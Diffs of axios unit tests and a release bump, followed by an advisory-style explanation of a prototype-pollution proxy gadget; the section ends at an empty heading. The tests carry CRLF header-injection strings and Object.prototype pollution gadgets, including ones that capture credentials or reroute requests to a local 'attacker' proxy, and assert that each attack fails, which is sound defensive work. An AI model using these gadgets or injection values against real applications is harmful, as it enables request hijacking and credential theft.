tests/unit/core/AxiosError.test.js+217 −0 modified@@ -1,6 +1,7 @@ import { describe, it, expect } from 'vitest'; import { isNativeError } from 'node:util/types'; import AxiosError from '../../../lib/core/AxiosError.js'; +import AxiosHeaders from '../../../lib/core/AxiosHeaders.js'; describe('core::AxiosError', () => { it('creates an error with message, config, code, request, response, stack and isAxiosError', () => { @@ -143,4 +144,220 @@ describe('core::AxiosError', () => { expect({ ...error }.message).toBe('Test error message'); expect(Object.getOwnPropertyDescriptor(error, 'message')?.enumerable).toBe(true); }); + + // Opt-in redaction: when `config.redact` is an array of key names, every + // matching key (case-insensitive, at any depth) has its value replaced with + // the redaction marker in the toJSON snapshot. Undefined leaves the legacy + // serialization untouched so existing consumers see no behavior change. + describe('toJSON redaction via config.redact', () => { + it('leaves config untouched when redact is undefined', () => { + const config = { + url: '/api', + auth: { username: 'alice', password: 'secret' }, + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.auth.username).toBe('alice'); + expect(json.config.auth.password).toBe('secret'); + }); + + it('ignores inherited redact accessors', () => { + const prototype = {}; + Object.defineProperty(prototype, 'redact', { + get() { + throw new Error('inherited redact getter should not run'); + }, + }); + + const config = Object.create(prototype); + config.auth = { username: 'alice', password: 'secret' }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.auth.username).toBe('alice'); + expect(json.config.auth.password).toBe('secret'); + }); + + it('leaves config untouched when redact is an empty array', () => { + const config = { + auth: { username: 'alice', password: 'secret' }, + redact: [], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + expect(error.toJSON().config.auth.password).toBe('secret'); + }); + + it('replaces top-level matching keys with the redaction marker', () => { + const config = { + url: '/api', + auth: { username: 'alice', password: 'secret' }, + redact: ['auth'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.url).toBe('/api'); + expect(json.config.auth).toBe('[REDACTED ****]'); + }); + + it('replaces matching keys at any nesting depth', () => { + const config = { + auth: { username: 'alice', password: 'secret' }, + proxy: { auth: { username: 'pu', password: 'pp' } }, + redact: ['password'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.auth.username).toBe('alice'); + expect(json.config.auth.password).toBe('[REDACTED ****]'); + expect(json.config.proxy.auth.password).toBe('[REDACTED ****]'); + expect(json.config.proxy.auth.username).toBe('pu'); + }); + + it('matches case-insensitively', () => { + const config = { + headers: { Authorization: 'Bearer abc' }, + redact: ['authorization'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + expect(error.toJSON().config.headers.Authorization).toBe('[REDACTED ****]'); + }); + + it('redacts headers stored in an AxiosHeaders instance', () => { + const headers = new AxiosHeaders(); + headers.set('Authorization', 'Bearer abc'); + headers.set('X-Trace', 'trace-id'); + + const config = { headers, redact: ['Authorization'] }; + const error = new AxiosError('Boom', 'ECODE', config); + + const serialized = error.toJSON().config.headers; + expect(serialized.Authorization).toBe('[REDACTED ****]'); + expect(serialized['X-Trace']).toBe('trace-id'); + }); + + it('redacts inside arrays of objects', () => { + const config = { + items: [{ token: 't1' }, { token: 't2', name: 'keep' }], + redact: ['token'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + expect(json.config.items[0].token).toBe('[REDACTED ****]'); + expect(json.config.items[1].token).toBe('[REDACTED ****]'); + expect(json.config.items[1].name).toBe('keep'); + }); + + it('does not crash on circular config references', () => { + const config = { auth: { password: 'secret' }, redact: ['password'] }; + config.self = config; + + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + expect(json.config.auth.password).toBe('[REDACTED ****]'); + expect(Object.prototype.hasOwnProperty.call(json.config, 'self')).toBe(false); + }); + + it('preserves legacy toJSONObject handling for values with toJSON', () => { + const issuedAt = new Date('2026-01-01T00:00:00.000Z'); + const endpoint = new URL('https://example.com/users'); + const config = { + issuedAt, + endpoint, + auth: { password: 'secret' }, + redact: ['password'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.issuedAt).toBe(issuedAt); + expect(json.config.endpoint).toBe(endpoint); + expect(json.config.auth.password).toBe('[REDACTED ****]'); + }); + + it('does not let a polluted Object.prototype.toJSON bypass redaction', () => { + class Credentials { + constructor() { + this.password = 'secret'; + } + } + + Object.prototype.toJSON = function () { + return this; + }; + + const config = { + auth: { password: 'secret' }, + credentials: new Credentials(), + items: [{ token: 't1' }], + redact: ['password', 'token'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + try { + const json = error.toJSON(); + + expect(json.config.auth.password).toBe('[REDACTED ****]'); + expect(json.config.credentials.password).toBe('[REDACTED ****]'); + expect(json.config.items[0].token).toBe('[REDACTED ****]'); + } finally { + delete Object.prototype.toJSON; + } + }); + + it('copies __proto__ as data without changing the redaction output prototype', () => { + const config = { redact: ['password'] }; + Object.defineProperty(config, '__proto__', { + value: { password: 'secret' }, + enumerable: true, + configurable: true, + }); + + const error = new AxiosError('Boom', 'ECODE', config); + const json = error.toJSON(); + + expect(Object.getPrototypeOf(json.config)).toBe(null); + expect(Object.prototype.hasOwnProperty.call(json.config, '__proto__')).toBe(true); + expect(json.config.__proto__.password).toBe('[REDACTED ****]'); + }); + + it('does not mutate the original config or AxiosHeaders', () => { + const headers = new AxiosHeaders(); + headers.set('Authorization', 'Bearer abc'); + + const config = { + auth: { username: 'alice', password: 'secret' }, + headers, + redact: ['password', 'Authorization'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + error.toJSON(); + + expect(config.auth.password).toBe('secret'); + expect(headers.get('Authorization')).toBe('Bearer abc'); + }); + + it('keeps the redact array itself visible in the snapshot', () => { + const config = { + auth: { password: 'secret' }, + redact: ['password'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + // Useful for debugging — operators can see what was being redacted. + expect(error.toJSON().config.redact).toEqual(['password']); + }); + }); });
tests/unit/helpers/formDataToStream.test.js+56 −34 modified@@ -34,14 +34,17 @@ const collect = async (stream) => { return Buffer.concat(chunks).toString('utf8'); }; -describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { +describe('formDataToStream', () => { it('should strip CRLF sequences from blob.type to prevent multipart header injection', async () => { const fd = new SpecFormData(); - fd.append('photo', makeBlobLike({ - type: 'image/jpeg\r\nX-Injected-Header: PWNED\r\nX-Evil: bad', - name: 'photo.jpg', - payload: Buffer.from('PAYLOAD'), - })); + fd.append( + 'photo', + makeBlobLike({ + type: 'image/jpeg\r\nX-Injected-Header: PWNED\r\nX-Evil: bad', + name: 'photo.jpg', + payload: Buffer.from('PAYLOAD'), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -52,11 +55,14 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should strip bare \\r and bare \\n from blob.type', async () => { const fd = new SpecFormData(); - fd.append('f', makeBlobLike({ - type: 'text/plain\rX-A: 1\nX-B: 2', - name: 'f.txt', - payload: Buffer.from('x'), - })); + fd.append( + 'f', + makeBlobLike({ + type: 'text/plain\rX-A: 1\nX-B: 2', + name: 'f.txt', + payload: Buffer.from('x'), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -66,11 +72,14 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should preserve legitimate Content-Type values', async () => { const fd = new SpecFormData(); - fd.append('doc', makeBlobLike({ - type: 'application/json; charset=utf-8', - name: 'doc.json', - payload: Buffer.from('{}'), - })); + fd.append( + 'doc', + makeBlobLike({ + type: 'application/json; charset=utf-8', + name: 'doc.json', + payload: Buffer.from('{}'), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -79,11 +88,14 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should default missing blob.type to application/octet-stream', async () => { const fd = new SpecFormData(); - fd.append('bin', makeBlobLike({ - type: '', - name: 'bin', - payload: Buffer.from([0x00, 0x01]), - })); + fd.append( + 'bin', + makeBlobLike({ + type: '', + name: 'bin', + payload: Buffer.from([0x00, 0x01]), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -92,11 +104,14 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should escape CRLF and quotes in blob.name (Content-Disposition)', async () => { const fd = new SpecFormData(); - fd.append('up', makeBlobLike({ - type: 'text/plain', - name: 'evil\r\nX-Bad: 1".jpg', - payload: Buffer.from('x'), - })); + fd.append( + 'up', + makeBlobLike({ + type: 'text/plain', + name: 'evil\r\nX-Bad: 1".jpg', + payload: Buffer.from('x'), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -106,16 +121,23 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should report stable contentLength that matches emitted bytes', async () => { const fd = new SpecFormData(); - fd.append('photo', makeBlobLike({ - type: 'image/jpeg\r\nX-Injected: PWNED', - name: 'photo.jpg', - payload: Buffer.from('PAYLOAD'), - })); + fd.append( + 'photo', + makeBlobLike({ + type: 'image/jpeg\r\nX-Injected: PWNED', + name: 'photo.jpg', + payload: Buffer.from('PAYLOAD'), + }) + ); let reportedLength; - const stream = formDataToStream(fd, (h) => { - reportedLength = h['Content-Length']; - }, { boundary: 'test-boundary-abc' }); + const stream = formDataToStream( + fd, + (h) => { + reportedLength = h['Content-Length']; + }, + { boundary: 'test-boundary-abc' } + ); const body = await collect(stream);
tests/unit/helpers/shouldBypassProxy.test.js+95 −1 modified@@ -101,7 +101,7 @@ describe('helpers::shouldBypassProxy', () => { expect(shouldBypassProxy('not a url')).toBe(false); }); - it('should bypass proxy for 127.0.0.0/8 subnet when no_proxy contains 127.0.0.1 (GHSA-pmwg-cvhr-8vh7)', () => { + it('should bypass proxy for 127.0.0.0/8 subnet when no_proxy contains 127.0.0.1', () => { setNoProxy('localhost,127.0.0.1,::1'); expect(shouldBypassProxy('http://127.0.0.2:9191/secret')).toBe(true); @@ -166,4 +166,98 @@ describe('helpers::shouldBypassProxy', () => { expect(shouldBypassProxy('http://10.0.0.127:8080/')).toBe(false); expect(shouldBypassProxy('http://200.127.0.1:8080/')).toBe(false); }); + + // IPv4-mapped IPv6 normalization: an attacker (or naive caller) can use the + // IPv4-mapped IPv6 representation of an address (e.g. ::ffff:192.168.1.5) + // to dodge a NO_PROXY policy expressed in IPv4 form, or vice-versa. After + // canonicalising both sides, equivalent addresses compare equal. + describe('IPv4-mapped IPv6 normalization', () => { + it('should bypass via IPv4-mapped IPv6 request when NO_PROXY uses the IPv4 form', () => { + setNoProxy('192.168.1.5'); + + expect(shouldBypassProxy('http://[::ffff:192.168.1.5]/')).toBe(true); + }); + + it('should bypass via Node-normalised IPv4-mapped hex request against an IPv4 NO_PROXY', () => { + // Node's URL parser canonicalises [::ffff:192.168.1.5] → [::ffff:c0a8:105]. + // The hex form must unmap to 192.168.1.5 to match the entry. + setNoProxy('192.168.1.5'); + + expect(shouldBypassProxy('http://[::ffff:c0a8:105]/')).toBe(true); + }); + + it('should bypass via plain IPv4 request when NO_PROXY uses the IPv4-mapped IPv6 dotted form', () => { + setNoProxy('::ffff:192.168.1.5'); + + expect(shouldBypassProxy('http://192.168.1.5/')).toBe(true); + }); + + it('should bypass via plain IPv4 request when NO_PROXY uses the IPv4-mapped IPv6 hex form', () => { + setNoProxy('::ffff:a00:1'); + + expect(shouldBypassProxy('http://10.0.0.1/')).toBe(true); + }); + + it('should bypass via plain IPv4 request when NO_PROXY uses a bracketed IPv4-mapped IPv6 entry', () => { + setNoProxy('[::ffff:192.168.1.5]'); + + expect(shouldBypassProxy('http://192.168.1.5/')).toBe(true); + }); + + it('should treat the uncompressed 0:0:0:0:0:ffff:<v4> form as equivalent', () => { + setNoProxy('0:0:0:0:0:ffff:10.0.0.1'); + + expect(shouldBypassProxy('http://10.0.0.1/')).toBe(true); + expect(shouldBypassProxy('http://[::ffff:10.0.0.1]/')).toBe(true); + }); + + it('should treat compressed zero-prefix IPv4-mapped IPv6 dotted forms as equivalent', () => { + for (const entry of [ + '0::ffff:192.168.1.5', + '0:0::ffff:192.168.1.5', + '0:0:0::ffff:192.168.1.5', + '0:0:0:0::ffff:192.168.1.5', + ]) { + setNoProxy(entry); + + expect(shouldBypassProxy('http://192.168.1.5/')).toBe(true); + } + }); + + it('should treat compressed zero-prefix IPv4-mapped IPv6 hex forms as equivalent', () => { + for (const entry of [ + '0::ffff:c0a8:105', + '0:0::ffff:c0a8:105', + '0:0:0::ffff:c0a8:105', + '0:0:0:0::ffff:c0a8:105', + ]) { + setNoProxy(entry); + + expect(shouldBypassProxy('http://192.168.1.5/')).toBe(true); + } + }); + + it('should support compressed bracketed IPv4-mapped IPv6 entries with explicit ports', () => { + setNoProxy('[0:0::ffff:192.168.1.5]:8080'); + + expect(shouldBypassProxy('http://192.168.1.5:8080/')).toBe(true); + expect(shouldBypassProxy('http://192.168.1.5:9090/')).toBe(false); + }); + + it('should NOT cross-match unrelated addresses', () => { + setNoProxy('192.168.1.5'); + + // Different IPv4 address inside an IPv4-mapped form must not bypass. + expect(shouldBypassProxy('http://[::ffff:192.168.1.6]/')).toBe(false); + // Non-mapped IPv6 must not be treated as IPv4. + expect(shouldBypassProxy('http://[2001:db8::1]/')).toBe(false); + }); + + it('should leave non-mapped IPv6 addresses comparing as IPv6', () => { + setNoProxy('2001:db8::1'); + + expect(shouldBypassProxy('http://[2001:db8::1]/')).toBe(true); + expect(shouldBypassProxy('http://[2001:db8::2]/')).toBe(false); + }); + }); });
tests/unit/prototypePollution.test.js+322 −38 modified@@ -5,6 +5,8 @@ import http from 'http'; import utils from '../../lib/utils.js'; import mergeConfig from '../../lib/core/mergeConfig.js'; import defaults from '../../lib/defaults/index.js'; +import AxiosError from '../../lib/core/AxiosError.js'; +import AxiosHeaders from '../../lib/core/AxiosHeaders.js'; import axios from '../../index.js'; describe('Prototype Pollution Protection', () => { @@ -47,6 +49,16 @@ describe('Prototype Pollution Protection', () => { delete Object.prototype.withCredentials; delete Object.prototype.responseType; delete Object.prototype.fetchOptions; + delete Object.prototype.username; + delete Object.prototype.password; + delete Object.prototype.hostname; + delete Object.prototype.host; + delete Object.prototype.port; + delete Object.prototype.protocol; + delete Object.prototype.get; + delete Object.prototype.set; + delete Object.prototype.headers; + delete Object.prototype.customNested; }); describe('utils.merge', () => { @@ -247,7 +259,7 @@ describe('Prototype Pollution Protection', () => { assert.strictEqual(result.headers.common['Content-Type'], 'application/json'); }); - // GHSA-pf86-5x62-jrwf gadget 3: polluted transformRequest/Response must not + // Polluted transformRequest/Response must not // replace the safe defaults through inherited reads during merge. it('should not inherit polluted transformRequest from Object.prototype', () => { const polluted = () => 'attacker'; @@ -270,7 +282,7 @@ describe('Prototype Pollution Protection', () => { }); }); - // GHSA-pf86-5x62-jrwf gadget 1: parseReviver read via prototype chain. + // parseReviver read via prototype chain. describe('defaults.transformResponse parseReviver', () => { it('should ignore Object.prototype.parseReviver when parsing JSON', () => { let reviverCalled = false; @@ -281,10 +293,7 @@ describe('Prototype Pollution Protection', () => { }; const ctx = { transitional: defaults.transitional }; - const result = defaults.transformResponse[0].call( - ctx, - '{"role":"user","balance":100}' - ); + const result = defaults.transformResponse[0].call(ctx, '{"role":"user","balance":100}'); assert.strictEqual(reviverCalled, false); assert.strictEqual(result.role, 'user'); @@ -302,9 +311,9 @@ describe('Prototype Pollution Protection', () => { }); }); - // GHSA-w9j2-pvgh-6h63: mergeDirectKeys must not inherit validateStatus from + // mergeDirectKeys must not inherit validateStatus from // Object.prototype (was using the `in` operator which traverses the chain). - describe('GHSA-w9j2-pvgh-6h63 validateStatus merge', () => { + describe('validateStatus merge', () => { it('should not inherit a polluted validateStatus during mergeConfig', () => { Object.prototype.validateStatus = () => true; @@ -339,9 +348,9 @@ describe('Prototype Pollution Protection', () => { }, 10000); }); - // GHSA-3w6x-2g7m-8v23: end-to-end check that a polluted parseReviver does not + // end-to-end check that a polluted parseReviver does not // tamper with JSON response bodies through the full axios.get pipeline. - describe('GHSA-3w6x-2g7m-8v23 parseReviver end-to-end', () => { + describe('parseReviver end-to-end', () => { it('should not let Object.prototype.parseReviver tamper with JSON responses', async () => { let reviverCalled = false; const stolen = {}; @@ -382,7 +391,7 @@ describe('Prototype Pollution Protection', () => { }, 10000); }); - // GHSA-pf86-5x62-jrwf gadget 2: http adapter must not read config.transport + // http adapter must not read config.transport // (or related keys) from Object.prototype. describe('http adapter prototype reads', () => { it('should not invoke Object.prototype.transport on a request', async () => { @@ -412,17 +421,20 @@ describe('Prototype Pollution Protection', () => { }, 10000); }); - // GHSA-q8qp-cvcw-x6jj: five config properties were read via direct property + // Five config properties were read via direct property // access in the http adapter and resolveConfig, bypassing hasOwnProperty and // allowing prototype pollution gadgets (auth, baseURL, socketPath, // beforeRedirect, insecureHTTPParser). - describe('GHSA-q8qp-cvcw-x6jj http adapter gadgets', () => { + describe('http adapter gadgets', () => { function startServer(handler) { return new Promise((resolve) => { - const server = http.createServer(handler || ((req, res) => { - res.writeHead(200, { 'Content-Type': 'application/json' }); - res.end(JSON.stringify({ headers: req.headers, url: req.url })); - })); + const server = http.createServer( + handler || + ((req, res) => { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ headers: req.headers, url: req.url })); + }) + ); server.listen(0, '127.0.0.1', () => resolve(server)); }); } @@ -531,18 +543,72 @@ describe('Prototype Pollution Protection', () => { // HPE_CR_EXPECTED). Match any parser error to remain stable across // Node releases while still confirming the strict parser rejected // the payload. - assert.match( - caughtCode, - /^HPE_/, - `expected an HPE_* parser error, got: ${caughtCode}` - ); + assert.match(caughtCode, /^HPE_/, `expected an HPE_* parser error, got: ${caughtCode}`); } finally { await new Promise((resolve) => malformed.close(resolve)); } }, 10000); + + it('should not inject Proxy-Authorization from polluted Object.prototype.auth', async () => { + // setProxy reads `proxy.auth` directly. When `proxy` is a + // URL instance from the environment proxy or a plain object without an own `auth`, + // a polluted Object.prototype.auth would otherwise be base64-encoded into the + // Proxy-Authorization header, leaking attacker-controlled credentials. + Object.prototype.auth = { username: 'attacker', password: 'exfil' }; + + const proxy = await startServer(); + const { port: proxyPort } = proxy.address(); + + const target = await startServer(); + const { port: targetPort } = target.address(); + + try { + const res = await axios.get(`http://127.0.0.1:${targetPort}/api`, { + proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, + }); + assert.strictEqual(res.status, 200); + assert.strictEqual( + res.data.headers['proxy-authorization'], + undefined, + 'polluted Object.prototype.auth must not produce a Proxy-Authorization header' + ); + } finally { + await stopServer(target); + await stopServer(proxy); + } + }, 10000); + + it('should not inject Proxy-Authorization from polluted Object.prototype.username', async () => { + // The setProxy username/password branch builds basic creds from `proxy.username` + // and `proxy.password`. For a plain object proxy, both reads must be guarded + // against prototype pollution. + Object.prototype.username = 'attacker'; + Object.prototype.password = 'exfil'; + + const proxy = await startServer(); + const { port: proxyPort } = proxy.address(); + + const target = await startServer(); + const { port: targetPort } = target.address(); + + try { + const res = await axios.get(`http://127.0.0.1:${targetPort}/api`, { + proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, + }); + assert.strictEqual(res.status, 200); + assert.strictEqual( + res.data.headers['proxy-authorization'], + undefined, + 'polluted Object.prototype.username must not produce a Proxy-Authorization header' + ); + } finally { + await stopServer(target); + await stopServer(proxy); + } + }, 10000); }); - describe('GHSA-q8qp-cvcw-x6jj resolveConfig baseURL gadget', () => { + describe('resolveConfig baseURL gadget', () => { // The baseURL branch in buildFullPath only runs when the requested URL is // relative (or allowAbsoluteUrls === false). An absolute URL would skip // baseURL regardless of pollution and would not exercise the gadget. We @@ -658,24 +724,29 @@ describe('Prototype Pollution Protection', () => { }); }); - // Verify every gadget enumerated in the audit (extension of GHSA-q8qp-cvcw-x6jj) + // Verify every gadget enumerated in the audit // is neutralized end-to-end by the null-prototype config. describe('Full gadget coverage via null-prototype config', () => { function startEcho(handler) { return new Promise((resolve) => { - const server = http.createServer(handler || ((req, res) => { - let body = ''; - req.on('data', (c) => (body += c)); - req.on('end', () => { - res.writeHead(200, { 'Content-Type': 'application/json' }); - res.end(JSON.stringify({ - url: req.url, - method: req.method, - headers: req.headers, - body, - })); - }); - })); + const server = http.createServer( + handler || + ((req, res) => { + let body = ''; + req.on('data', (c) => (body += c)); + req.on('end', () => { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end( + JSON.stringify({ + url: req.url, + method: req.method, + headers: req.headers, + body, + }) + ); + }); + }) + ); server.listen(0, '127.0.0.1', () => resolve(server)); }); } @@ -721,7 +792,14 @@ describe('Prototype Pollution Protection', () => { let hijacked = false; Object.prototype.adapter = function pollutedAdapter() { hijacked = true; - return Promise.resolve({ data: 'pwned', status: 200, statusText: 'OK', headers: {}, config: {}, request: {} }); + return Promise.resolve({ + data: 'pwned', + status: 200, + statusText: 'OK', + headers: {}, + config: {}, + request: {}, + }); }; const server = await startEcho(); @@ -896,4 +974,210 @@ describe('Prototype Pollution Protection', () => { } }, 10000); }); + + // utils.merge previously read `result[targetKey]` directly, which walks the + // prototype chain. A polluted Object.prototype.<key> object would surface as + // the existing value and be merged into the result. + describe('utils.merge prototype-chain read', () => { + it('should not pick up polluted Object.prototype.<key> as the existing value', () => { + Object.prototype.headers = { evil: 'yes' }; + + const result = utils.merge({}, { headers: { 'Content-Type': 'application/json' } }); + + assert.strictEqual(result.headers.evil, undefined); + assert.strictEqual(result.headers['Content-Type'], 'application/json'); + }); + + it('should not absorb polluted nested objects when the key is absent from inputs', () => { + // When the source does not carry `customNested`, the merged result should + // not surface it either, even if Object.prototype carries it. + Object.prototype.customNested = { evil: 'yes' }; + + const result = utils.merge({}, { safe: 'value' }); + + assert.strictEqual(result.hasOwnProperty('customNested'), false); + assert.strictEqual(result.safe, 'value'); + }); + }); + + // Object.defineProperty calls a HasProperty check on `get`/`set` of the + // descriptor. A polluted Object.prototype.get with a non-function value would + // throw TypeError at every defineProperty site that uses a plain literal + // descriptor. Each fixed site should be shielded with `__proto__: null`. + describe('Object.defineProperty descriptor literals', () => { + it('should construct AxiosError when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + const err = new AxiosError('hello', 'ECODE'); + + assert.strictEqual(err.message, 'hello'); + assert.strictEqual(err.code, 'ECODE'); + }); + + it('should construct AxiosHeaders accessor methods when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + // AxiosHeaders.accessor uses Object.defineProperty on the prototype. + // Triggering a fresh accessor definition exercises the descriptor literal. + AxiosHeaders.accessor('X-Pp-Test'); + + const h = new AxiosHeaders(); + h.setXPpTest('value'); + assert.strictEqual(h.getXPpTest(), 'value'); + }); + + it('should not throw in mergeConfig when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + const result = mergeConfig({}, { url: '/x', method: 'get' }); + + assert.strictEqual(result.url, '/x'); + assert.strictEqual(result.method, 'get'); + assert.strictEqual(typeof result.hasOwnProperty, 'function'); + }); + + it('should not throw in utils.extend when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + const a = {}; + const b = { x: 1, fn() {} }; + utils.extend(a, b); + + assert.strictEqual(a.x, 1); + assert.strictEqual(typeof a.fn, 'function'); + }); + + it('should not throw in utils.extend with thisArg when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + const a = {}; + const ctx = { tag: 'ctx' }; + const b = { + method() { + return this.tag; + }, + }; + utils.extend(a, b, ctx); + + assert.strictEqual(a.method(), 'ctx'); + }); + + it('should not throw in utils.inherits when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + function Parent() {} + function Child() {} + utils.inherits(Child, Parent); + + assert.strictEqual(Child.prototype.constructor, Child); + assert.strictEqual(Child.super, Parent.prototype); + }); + + it('should also be shielded against a polluted Object.prototype.set', () => { + Object.prototype.set = 'attacker'; + + // Same surface as `get` — ToPropertyDescriptor checks both. One spot-check + // covers them all since they share the same fix. + const err = new AxiosError('hello'); + assert.strictEqual(err.message, 'hello'); + }); + }); + + // End-to-end regressions covering published advisory PoCs against full axios + // request flow. Each test mirrors the exploit scenario from the advisory and + // asserts the attack does not succeed. + describe('advisory regression — full request flow', () => { + function startServer(handler) { + return new Promise((resolve) => { + const server = http.createServer(handler); + server.listen(0, '127.0.0.1', () => resolve(server)); + }); + } + const stop = (s) => new Promise((r) => s.close(r)); + + // Full MITM via prototype pollution gadget in + // `config.proxy`. mergeConfig must not surface a polluted Object.prototype.proxy + // as the merged config's proxy, otherwise every request would route through + // an attacker-controlled host. + it('polluted Object.prototype.proxy must not redirect requests through an attacker proxy', async () => { + const proxyHits = []; + const attackerProxy = await startServer((req, res) => { + proxyHits.push({ + url: req.url, + authorization: req.headers.authorization, + host: req.headers.host, + }); + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"hijacked":true}'); + }); + + const realHits = []; + const realServer = await startServer((req, res) => { + realHits.push({ url: req.url }); + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"data":"real"}'); + }); + + try { + Object.prototype.proxy = { + protocol: 'http', + host: '127.0.0.1', + port: attackerProxy.address().port, + }; + + const realPort = realServer.address().port; + const res = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, { + auth: { username: 'admin', password: 'SuperSecret123!' }, + }); + + assert.strictEqual(proxyHits.length, 0, 'attacker proxy must not receive any request'); + assert.strictEqual(realHits.length, 1, 'request must reach the real target'); + assert.deepStrictEqual(res.data, { data: 'real' }); + } finally { + await stop(attackerProxy); + await stop(realServer); + } + }, 10000); + + // Credential theft and response hijacking via + // prototype pollution gadget in config merge. A polluted + // Object.prototype.transformResponse function would otherwise execute with + // `this = config`, exposing `auth.username`/`auth.password` to the attacker. + it('polluted Object.prototype.transformResponse must not be invoked or leak request credentials', async () => { + let invoked = false; + let stolen = null; + Object.prototype.transformResponse = function pollutedTransform(data) { + invoked = true; + stolen = { + url: this && this.url, + username: this && this.auth && this.auth.username, + password: this && this.auth && this.auth.password, + data, + }; + return true; + }; + + const server = await startServer((req, res) => { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"secret":"keep-me"}'); + }); + + try { + const { port } = server.address(); + const res = await axios.get(`http://127.0.0.1:${port}/users`, { + auth: { username: 'svc-account', password: 'prod-secret-key-123!' }, + }); + + assert.strictEqual(invoked, false, 'polluted transformResponse must not run'); + assert.strictEqual(stolen, null, 'no request context must be captured'); + assert.deepStrictEqual( + res.data, + { secret: 'keep-me' }, + 'response data must reach the caller untampered' + ); + } finally { + await stop(server); + } + }, 10000); + }); });
df53d7dd99b2chore(release): prepare release 1.16.0 (#10834)
3 files changed · +8 −8
lib/env/data.js+1 −1 modified@@ -1 +1 @@ -export const VERSION = "1.15.2"; \ No newline at end of file +export const VERSION = "1.16.0"; \ No newline at end of file
package.json+5 −5 modified@@ -1,6 +1,6 @@ { "name": "axios", - "version": "1.15.2", + "version": "1.16.0", "description": "Promise based HTTP client for the browser and node.js", "main": "./dist/node/axios.cjs", "module": "./index.js", @@ -82,13 +82,13 @@ "Dmitriy Mozgovoy (https://github.com/DigitalBrainJS)", "Nick Uraltsev (https://github.com/nickuraltsev)", "Emily Morehouse (https://github.com/emilyemorehouse)", - "Justin Beckwith (https://github.com/JustinBeckwith)", "Rubén Norte (https://github.com/rubennorte)", + "Justin Beckwith (https://github.com/JustinBeckwith)", "Martti Laine (https://github.com/codeclown)", "Xianming Zhong (https://github.com/chinesedfan)", - "Remco Haszing (https://github.com/remcohaszing)", - "Shaan Majid (https://github.com/shaanmajid)", "Willian Agostini (https://github.com/WillianAgostini)", + "Shaan Majid (https://github.com/shaanmajid)", + "Remco Haszing (https://github.com/remcohaszing)", "Rikki Gibson (https://github.com/RikkiGibson)" ], "sideEffects": false, @@ -180,4 +180,4 @@ "lint-staged": { "*.{js,cjs,mjs,ts,json,md,yml,yaml}": "prettier --write" } -} +} \ No newline at end of file
package-lock.json+2 −2 modified@@ -1,12 +1,12 @@ { "name": "axios", - "version": "1.15.2", + "version": "1.16.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "axios", - "version": "1.15.2", + "version": "1.16.0", "license": "MIT", "dependencies": { "follow-redirects": "^1.16.0",
Vulnerability mechanics
Root cause
"Missing `hasOwnProperty` check when reading `config.proxy` in the HTTP adapter allows a prototype-polluted value to be used as a proxy, routing all requests through an attacker-controlled server."
Attack vector
An attacker first pollutes `Object.prototype.proxy` with an attacker-controlled host and port through any prototype-pollution-vulnerable dependency in the application's stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`) [ref_id=1][ref_id=2]. When Axios later makes any HTTP request, `lib/adapters/http.js:670` reads `config.proxy` — which resolves to the polluted prototype value — and passes it to `setProxy()`, which rewrites the request's hostname, port, and path to route all traffic through the attacker's proxy server [CWE-1321][CWE-441]. The attacker then sees every request URL, header, and body (including Authorization credentials) and can return arbitrary forged responses.
Affected code
The vulnerability is in `lib/adapters/http.js` at line 670, where `config.proxy` is read via standard property access that traverses the prototype chain. Because `proxy` is not present in Axios defaults (`lib/defaults/index.js`), the merged config object has no own `proxy` property, making it trivially injectable via prototype pollution [ref_id=1][ref_id=2].
What the fix does
The advisory recommends using `Object.prototype.hasOwnProperty.call(config, 'proxy')` before reading `config.proxy` in `lib/adapters/http.js`, so that only an own property (not an inherited prototype property) is accepted [ref_id=1][ref_id=2]. A broader fix would apply the same `hasOwnProperty` check to other security-sensitive config properties not in defaults (`socketPath`, `transport`, `lookup`, `beforeRedirect`, `httpAgent`/`httpsAgent`) or use a null-prototype object (`Object.create(null)`) for the merged config to prevent prototype traversal entirely.
Preconditions
